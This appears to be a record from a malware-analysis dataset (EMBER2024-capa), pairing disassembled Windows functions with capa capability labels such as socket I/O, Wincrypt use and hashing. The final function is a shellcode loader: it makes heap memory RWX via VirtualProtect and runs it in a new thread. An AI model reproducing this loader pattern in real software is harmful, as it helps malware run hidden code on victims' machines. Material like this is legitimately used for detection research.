joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022760
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
push 0xf0000040
push 1
push 0
push 0
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100227a8
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov eax, dword [esp]
push ecx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
test eax, eax
jne 0x100227af
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
pop ecx
ret
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop ecx
ret
Function at 0x1002b3d0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
push str.Connected_for_receive
push 0x100625ec
push ecx
call fcn.1001b380
add esp, 0xc
mov eax, esi
mov dword [esi], 1
call fcn.1002a590
test eax, eax
jne 0x1002b400
mov eax, esi
jmp fcn.1002a9c0
ret
Function at 0x1002b820
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
push esi
mov esi, dword [ebp + 0x518]
push edi
mov edi, dword [ebp]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0x80
mov edx, dword [esi + 0x154]
mov eax, dword [esi + 0x15c]
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esi + 0x14]
push 0
add edx, 4
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x1002b8a9
mov edx, dword [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esi + 0xc8]
push ecx
call fcn.100495d0
mov edx, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 0x148], edx
mov ecx, dword [esi + 0x14c]
cmp ecx, 4
jge 0x1002b8e4
push str.Received_too_short_packet
push edi
call fcn.1001b410
add esp, 8
mov dword [esi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10043fd1
add esp, 0x88
ret
mov edx, dword [esi + 0x15c]
movzx ax, byte [edx]
movzx edx, byte [edx + 1]
shl ax, 8
movzx eax, ax
or eax, edx
mov dword [esi + 0xc], eax
add eax, 0xfffffffd
cmp eax, 3
ja case.default.0x1002b90a
jmp dword [eax*4 + 0x1002ba24]
cmp ecx, 4
jle case.0x1002b90a.4
mov eax, dword [esi + 0x15c]
movzx dx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl dx, 8
movzx edx, dx
or edx, eax
movzx eax, word [esi + 0x40]
inc eax
and eax, 0xffff
cmp eax, edx
jne case.0x1002b90a.4
add ecx, 0xfffffffc
push ecx
mov ecx, dword [esi + 0x15c]
add ecx, 4
push ecx
push 1
push ebp
call fcn.1001b8d0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x1002b976
mov ecx, 5
mov eax, esi
call fcn.1002b7a0
mov eax, ebx
jmp 0x1002b8cb
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x70], eax
mov eax, dword [edi + 0x70]
adc dword [edi + 0x74], edx
mov edx, dword [edi + 0x74]
push edx
push eax
push edi
call fcn.10022ea0
jmp 0x1002b9f8
mov eax, dword [esi + 0x15c]
movzx cx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl cx, 8
movzx edx, cx
mov ecx, dword [esi + 0x15c]
add ecx, 4
push ecx
or edx, eax
push 0x100625ec
push edi
mov dword [esi + 8], edx
call fcn.1001b380
jmp 0x1002b9f8
mov edx, dword [esi + 0x15c]
add ecx, 0xfffffffe
push ecx
add edx, 2
push edx
push esi
call fcn.1002a770
add esp, 0xc
test eax, eax
je case.0x1002b90a.4
jmp 0x1002b8cb
push str.Internal_error:_Unexpected_packet
push 0x10062418
push edi
call fcn.1001b410
add esp, 0xc
push ebp
call fcn.10022f80
add esp, 4
test eax, eax
je 0x1002b8c9
mov ecx, 5
mov eax, esi
call fcn.1002b7a0
mov eax, 0x2a
jmp 0x1002b8cb
Function at 0x1002d2e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1002d315
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.1001b410
add esp, 0xc
jmp 0x1002d34e
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp]
cmp al, 2
jne 0x1002d340
shr eax, 8
test al, al
jne 0x1002d340
xor eax, eax
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.10043fd1
add esp, 0x194
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.1001b410
add esp, 8
mov ecx, dword [esp + 0x190]
xor ecx, esp
mov eax, 2
call fcn.10043fd1
add esp, 0x194
ret

Function at 0x1002d4e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov edx, dword [edi + 0x154]
mov al, byte [esp + 8]
push esi
mov esi, dword [edi]
push 0
push 3
lea ecx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x14], 0xff
mov byte [esp + 0x15], al
mov byte [esp + 0x16], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jge 0x1002d524
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push esi
call fcn.1001b410
add esp, 0xc
mov esi, dword [esp + 0xc]
mov ecx, dword [edi]
push str.SENT
mov eax, ebx
call fcn.1002d3e0
add esp, 4
pop esi
pop ecx
ret
Function at 0x1002e1e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
mov eax, dword [esp + 8]
mov eax, dword [eax]
push ebx
mov ebx, dword [eax + 0x128]
mov dword [esp + 4], eax
jne 0x1002e349
push ebp
push esi
push edi
lea edi, [ebx + 0x1cb0]
lea ebp, [ebx + 0x1eb0]
mov dword [ebp], edi
cmp edi, ebp
jae 0x1002e219
mov byte [edi], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e226
mov byte [eax], 0xfa
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e233
mov byte [eax], 0x1f
inc dword [ebp]
movzx ecx, word [ebx + 0x1ca8]
mov esi, dword [sym.imp.WS2_32.dll_htons]
push ecx
call esi
movzx edx, ax
movzx eax, word [ebx + 0x1caa]
push eax
mov dword [esp + 0x20], edx
call esi
movzx ecx, ax
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e267
mov dl, byte [esp + 0x1c]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e277
mov dl, byte [esp + 0x1d]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e283
mov byte [eax], cl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e28f
mov byte [eax], ch
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e29c
mov byte [eax], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x1002e2a9
mov byte [eax], 0xf0
inc dword [ebp]
mov eax, dword [ebp]
mov esi, dword [esp + 0x10]
mov ecx, eax
sub ecx, edi
sub ecx, 2
push ecx
mov dword [ebx + 0x1eb4], eax
lea eax, [ebx + 0x1cb2]
push 0x3e
mov dword [ebp], edi
call fcn.1002d740
mov ebp, dword [sym.imp.WS2_32.dll_send]
add esp, 8
push 0
push 3
push edi
mov edi, dword [esp + 0x24]
mov edx, dword [edi + 0x154]
push edx
call ebp
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jge 0x1002e308
call esi
push eax
mov eax, dword [esp + 0x14]
push str.Sending_data_failed___d_
push eax
call fcn.1001b410
add esp, 0xc
lea ecx, [ebx + 0x1cb3]
push 4
push ecx
call fcn.1002dfc0
mov edx, dword [edi + 0x154]
add esp, 8
push 0
push 2
add ebx, 0x1cb7
push ebx
push edx
call ebp
test eax, eax
jge 0x1002e346
call esi
push eax
mov eax, dword [esp + 0x14]
push str.Sending_data_failed___d_
push eax
call fcn.1001b410
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1002eee0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x18
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov ebx, dword [esi + 0x158]
mov ebp, dword [esi]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
push ebx
or edi, 0xffffffff
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1002ef37
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
push ebx
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebx
push esi
call fcn.1001d9e0
add esp, 8
cmp edi, 0xffffffff
jne 0x1002ef6c
push str.Error_accept__ing_server_connect
push ebp
call fcn.1001b410
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1e
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10043fd1
add esp, 0x18
ret
push str.Connection_accepted_from_server_n
push ebp
call fcn.1001b380
push 1
push edi
mov dword [esi + 0x290], 0
mov dword [esi + 0x158], edi
call fcn.1003d420
mov dword [esi + 0x168], 1
mov eax, dword [ebp + 0x1b0]
add esp, 0x10
test eax, eax
je 0x1002efd6
mov ecx, dword [ebp + 0x1b4]
push 1
push edi
push ecx
call eax
add esp, 0xc
test eax, eax
je 0x1002efd6
call fcn.1002ee10
pop edi
pop esi
pop ebp
mov eax, 0x2a
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10043fd1
add esp, 0x18
ret
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.10043fd1
add esp, 0x18
ret
Function at 0x10032970
Capabilities:
Check http status code

Disassembly:
mov eax, 0x51eb851f
imul ecx
sar edx, 5
push ebx
mov ebx, dword [edi]
mov eax, edx
push ebp
mov ebp, dword [esp + 0xc]
shr eax, 0x1f
push esi
add eax, edx
xor esi, esi
cmp eax, 2
je 0x100329a6
push str.Couldnt_set_desired_mode
push ebx
call fcn.1001b410
add esp, 8
lea eax, [esi + 0x11]
pop esi
pop ebp
pop ebx
ret
cmp ecx, 0xc8
je 0x100329bd
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.1001b380
add esp, 0xc
cmp ebp, 0x13
jne 0x100329d1
push edi
call fcn.100328f0
add esp, 4
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x14
jne 0x100329e5
push edi
call fcn.1002f9f0
add esp, 4
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x15
jne 0x100329fd
push 0xd
push 1
push edi
call fcn.10031c50
add esp, 0xc
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x16
jne 0x10032a11
push 0xe
push 1
push edi
call fcn.10031c50
add esp, 0xc
mov esi, eax
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x10039970
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.1004e049
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x100399d5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x100399d5
lea edx, [esp]
push edx
call dword [0x100711fc]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.10043fd1
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.10043fd1
add esp, 0x108
ret
jmp 0x10039970

Function at 0x100399f0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.1004e049
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x100399d5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x100399d5
lea edx, [esp]
push edx
call dword [0x100711fc]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.10043fd1
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.10043fd1
add esp, 0x108
ret
jmp 0x10039970
Function at 0x1003d450
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov ebx, dword [eax + 0x2c]
push esi
push edi
mov edi, dword [ebx]
mov esi, dword [edi + 0x1ec]
test esi, esi
jne 0x1003d469
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.1001af00
push edx
push eax
call fcn.1001af30
add esp, 0x10
sub esi, eax
cmp dword [edi + 0x1e0], 0
je 0x1003d4b6
mov eax, dword [ebx + 0x148]
mov ecx, dword [ebx + 0x144]
push eax
push ecx
call fcn.1001af00
push edx
push eax
call fcn.1001af30
mov ecx, dword [edi + 0x1e0]
sub ecx, eax
add esp, 0x10
cmp esi, ecx
mov eax, ecx
jge 0x1003d4b8
mov eax, esi
pop edi
pop esi
pop ebx
ret

Function at 0x1003eb20
Capabilities:
Get hostname

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push esi
mov byte [esi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [esi + edi - 1], 0
test eax, eax
jne 0x1003eb52
push 0x2e
push esi
call fcn.1004cf60
add esp, 8
test eax, eax
je 0x1003eb50
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
ret

Function at 0x1003ec30
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x10071290]
xor eax, esp
mov dword [esp + 0x20], eax
push ebp
mov ebp, dword [esp + 0x30]
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1003ecda
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
push esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea esi, [esp + 0x20]
mov eax, ebp
mov byte [esp + 0x14], 8
mov byte [esp + 0x15], 2
mov dword [esp + 0x18], 0x6601
mov dword [esp + 0x1c], 8
call fcn.1003eba0
mov ecx, esi
push 8
push ecx
call fcn.10043570
mov ecx, dword [esp + 0x10]
add esp, 8
lea edx, [esp + 0x10]
push edx
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
pop esi
test eax, eax
jne 0x1003ecec
mov edx, dword [esp + 4]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.10043fd1
add esp, 0x24
ret
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov eax, dword [esp + 8]
push eax
lea ecx, [esp + 0xc]
push ecx
push edi
push 0
push 0
mov dword [edi + 4], edx
mov edx, dword [esp + 0x20]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [esp + 4]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x24]
pop ebp
xor ecx, esp
mov eax, 1
call fcn.10043fd1
add esp, 0x24
ret
Function at 0x1003ee40
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
mov eax, ebp
push edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1003ee50
sub eax, edx
mov edi, eax
lea ebx, [edi + edi]
push ebx
call dword [0x100711f0]
mov esi, eax
add esp, 4
test esi, esi
jne 0x1003ee79
pop edi
lea eax, [esi + 0x1b]
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor eax, eax
test edi, edi
jbe 0x1003ee90
nop
mov cl, byte [eax + ebp]
mov byte [esi + eax*2], cl
mov byte [esi + eax*2 + 1], 0
inc eax
cmp eax, edi
jb 0x1003ee80
push 0xf0000000
push 1
push 0
push 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov edi, dword [esp + 0x28]
test eax, eax
je 0x1003ef0f
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1003ef02
mov edx, dword [esp + 0x10]
push 0
push ebx
push esi
push edx
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x1c]
push eax
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov dword [edi + 0x10], eax
push esi
mov byte [edi + 0x14], al
call dword [0x100711f4]
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret

Function at 0x10040690
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 2
jne 0x100406b2
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x100406a6
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x100406e2
cmp dword [esi + 8], 0
jne 0x100406d5
mov ecx, dword [eax + 8]
push 0x1006d564
push ecx
call fcn.1004492c
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x100406d5
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.10044eba
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x10040704
mov eax, dword [esi + 8]
test eax, eax
je 0x100406fe
push eax
call fcn.10044b9e
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x100433e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x100711f0]
mov edi, eax
add esp, 4
test edi, edi
jne 0x10043405
pop edi
pop esi
pop ecx
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
push ebx
add edx, eax
push ebp
mov ebp, dword [esp + 0x20]
mov dword [edi + 8], edx
cmp ebp, dword [esi + 0x10]
jbe 0x1004344c
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [esp + 0x20]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebp
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov ebp, dword [esi + 0x14]
add esp, 0x18
jmp 0x10043450
mov ebx, dword [esp + 0x1c]
mov eax, dword [edi + 4]
mov ecx, dword [esi]
push eax
call ecx
mov edx, dword [edi + 8]
mov eax, dword [esi]
push edx
call eax
add esp, 8
mov dword [esp + 0x10], 0
test ebp, ebp
jbe 0x100434ae
mov dword [esp + 0x10], ebp
mov cl, byte [ebx]
xor cl, 0x36
mov byte [esp + 0x18], cl
mov eax, dword [edi + 4]
mov ecx, dword [esi + 4]
push 1
lea edx, [esp + 0x1c]
push edx
push eax
call ecx
mov dl, byte [ebx]
xor dl, 0x5c
mov byte [esp + 0x24], dl
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
lea eax, [esp + 0x28]
push eax
push ecx
inc ebx
call edx
add esp, 0x18
sub ebp, 1
jne 0x10043473
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
cmp eax, dword [esi + 0x10]
jae 0x100434f1
lea esp, [esp]
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
push 0x1006af14
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi + 4]
push 1
push 0x1006af15
push eax
call ecx
mov eax, dword [esp + 0x20]
inc eax
add esp, 0x18
mov dword [esp + 8], eax
cmp eax, dword [esi + 0x10]
jb 0x100434c0
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x10043fd1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10071290]
jne 0x10043fdb
repz ret
jmp fcn.1004e84b
Function at 0x1005d419
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1004e9cb
and dword [ebp - 4], 0
cmp dword [0x100738b4], 0
mov ebx, eax
jne 0x1005d4ca
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1005d57b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1005d57b
push eax
call fcn.1004e959
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100738b4], eax
call esi
push eax
call fcn.1004e959
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100738b8], eax
call esi
push eax
call fcn.1004e959
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100738bc], eax
call esi
push eax
call fcn.1004e959
pop ecx
mov dword [0x100738c4], eax
test eax, eax
je 0x1005d4ca
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1004e959
pop ecx
mov dword [0x100738c0], eax
mov eax, dword [0x100738c0]
cmp eax, ebx
je 0x1005d522
cmp dword [0x100738c4], ebx
je 0x1005d522
push eax
call fcn.1004e9d4
push dword [0x100738c4]
mov esi, eax
call fcn.1004e9d4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1005d522
test edi, edi
je 0x1005d522
call esi
test eax, eax
je 0x1005d519
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1005d519
test byte [ebp - 0xc], 1
jne 0x1005d522
or dword [ebp + 0x10], 0x200000
jmp 0x1005d55b
mov eax, dword [0x100738b8]
cmp eax, ebx
je 0x1005d55b
push eax
call fcn.1004e9d4
pop ecx
test eax, eax
je 0x1005d55b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1005d55b
mov eax, dword [0x100738bc]
cmp eax, ebx
je 0x1005d55b
push eax
call fcn.1004e9d4
pop ecx
test eax, eax
je 0x1005d55b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100738b4]
call fcn.1004e9d4
pop ecx
test eax, eax
je 0x1005d57b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1005d57d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401590
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4035b0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401598
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4035b0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret
Function at 0x4016b0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x12c
lea eax, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov ebp, ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [0x405560]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x4016f9
or al, 1
mov byte [0x405560], al
call esi
mov dword [0x40555c], eax
cmp dword [0x40556c], 8
jle 0x401737
mov dword [0x40556c], 0
call esi
mov ecx, dword [0x40555c]
mov edx, eax
sub edx, ecx
mov dword [0x40555c], eax
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fmul dword [0x4035b8]
fdivr dword [0x4035b4]
fstp dword [0x405558]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.worinimahuorong
call ebx
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [esp + 0x24]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4da78
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x4017b1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
mov edx, dword [0x405138]
add ebp, 0x4da90
push edx
push ebp
push esi
call fcn.00401640
add esp, 0xc
push str.worinimahuorong1
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.worinimahuorong2
mov dword [esp + 0x14], eax
call ebx
push str.CreateThread
push str.KERNEL32.dll
call edi
push eax
call ebp
lea eax, [esp + 0x18]
push eax
push 0x40
push 0x4da78
push esi
call dword [esp + 0x20]
push str.worinimahuorong3
call ebx
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.worinimahuorong4
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x12c
ret